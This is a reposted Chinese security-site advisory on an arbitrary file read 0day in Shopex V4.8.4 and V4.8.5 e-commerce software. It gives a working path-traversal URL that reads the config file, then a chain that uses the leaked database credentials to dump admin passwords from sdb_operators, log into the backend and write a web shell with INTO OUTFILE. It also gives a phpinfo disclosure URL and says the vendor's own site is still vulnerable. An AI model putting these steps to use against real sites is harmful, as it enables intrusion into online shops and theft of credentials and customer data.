会员投稿

投稿指南 本期推荐:

您的位置: Linux安全网 > Linux安全 > » 正文

Shopex V4.8.4 V4.8.5 0Day 通杀

日期:2011-07-22 点击:202 来源: 未知分享至:

发布日期：2010-04-22
发布作者：dbgger
影响版本： Shopex V4.8.4 V4.8.5
漏洞描述：文件过滤不严，导致任意文件读取漏洞。
测试代码：
http://www.xxxx.com/shopadmin/index.php?ctl=sfile&act=getDB&p[0]=../../config/config.php

可以连上数据库.

mysql -h1.1..1.1 -uuser -ppass

use yourbasename;

select * from sdb_operators;

得到管理员用户密码./shopadmin/ 登陆

后台拿shell,没有仔细研究.

我测试的站,直接用into outfile 一个shell.

网上有个帖子,说可以爆物理路径.测试不可用.

如果install目录没删.下面这个可以看phpinfo

http://www.target.com/install/svinfo.php?phpinfo=true

另外/home/cache/目录的文件,也是可以爆出来的.

目前shopex 官方站,仍然存在该漏洞. 测试截图如下

Tags： TIME_WAIT UTF-8 privoxy mgr Fedora 13 下载

分享至:

最新图文资讯

1 2 3 4 5 6

相关文章列表:

推荐内容

最新文章

关于我们 - 联系我们 - 广告服务 - 友情链接 - 网站地图 - 版权声明 - 发展历史